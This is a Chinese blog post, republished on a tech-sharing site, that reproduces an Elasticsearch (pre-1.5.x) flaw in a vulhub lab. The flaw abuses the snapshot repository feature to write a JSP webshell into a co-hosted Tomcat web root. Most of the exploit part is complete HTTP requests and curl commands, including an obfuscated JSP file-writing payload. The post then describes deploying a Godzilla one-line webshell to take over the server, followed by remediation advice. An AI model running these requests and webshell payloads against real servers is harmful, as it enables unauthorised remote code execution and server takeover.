ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

漏洞复现-wooyun-2015-110216-Elasticsearch写入webshell

2021-10-01 20:04:33  阅读:368  来源: 互联网

标签:webshell zh 9200 漏洞 wooyun Accept application 110216 jsp


       

0x00 实验环境

攻击机:Win 10

靶场:docker拉的vulhub靶场

 

0x01 影响版本

1.5.x以前(其实跟CVE-2015-5531-ElasticSearch 目录穿越是差不多类型的漏洞,相当于是利用该漏洞来getshell吧)

 

0x02 漏洞复现

(1)访问存在的漏洞页面:(9200一般为ElasticSearch的常用端口),此漏洞环境需要与tomcat结合使用,发现8080端口存在tomcat默认配置页面。

 

 (2)发现9200端口存在elasticsearch页面:

 

(3)创建一个恶意索引文档:

POST /a.jsp/a.jsp/1 HTTP/1.1
Host:x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 228

{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

 

 

 或者kali执行也可以:

curl -XPOST http://x.x.x.x:9200/a.jsp/a.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'

 

(4)再创建一个恶意的存储库,其中location的值即为要写入的路径(需要根据肉鸡的tomcat的www目录来决定)

PUT /_snapshot/a.jsp HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}

 

 

 或kali执行:

curl -XPUT 'http://x.x.x.x:9200/_snapshot/a.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'

 

(5)存储库验证并创建:

PUT /_snapshot/a.jsp/a.jsp HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

{
     "indices": "a.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}

 

 

  或kali执行:

curl -XPUT "http://x.x.x.x:9200/_snapshot/a.jsp/a.jsp" -d '{
     "indices": "a.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}'

 

上述(3)(4)(5)作用是向wwwroot下的test.jsp文件中写入任意字符串:

回容器发现已成功写入了一个jsp的shell:

 

 

写入jsp一句话木马,有些抄袭的文件真的过分,这个jsp的文件明明是通过8080来访问的,有的就是写错为9200,所以还是不要全信了网上的文章:

http://x.x.x.x:8080/wwwroot/indices/a.jsp/snapshot-a.jsp?f=success

 

www根目录下会生成一个test.jsp的文件,并会成功被写入success

 修改为123456的话,写入的内容也会是123456

http://x.x.x.x:8080/wwwroot/indices/a.jsp/snapshot-a.jsp?f=123456s

 

 

 (6)现在来写入一句话木马:哥斯拉生成一句话木马:

a.生成jsp的shell:

 

b:URL编码jsp的shell并在f=后输入改编码好的shell:

 

 

 

c:访问该shell显示成功:

 d.获取该服务器的权限:

0x03 漏洞原理

找了半天没找到漏洞原理,写个大概的吧:

(1)1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

 

(2)ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

 

(3)和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

 

 

0x04 修复建议

1、升级版本

2、将repo目录权限设置为仅可读,不可写(自己建议的,仅在不影响业务的前提下)

 

0x05 参考文献

https://blog.csdn.net/JiangBuLiu/article/details/94552936

 

0x06 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

标签:webshell,zh,9200,漏洞,wooyun,Accept,application,110216,jsp
来源: https://www.cnblogs.com/cute-puli/p/15359890.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有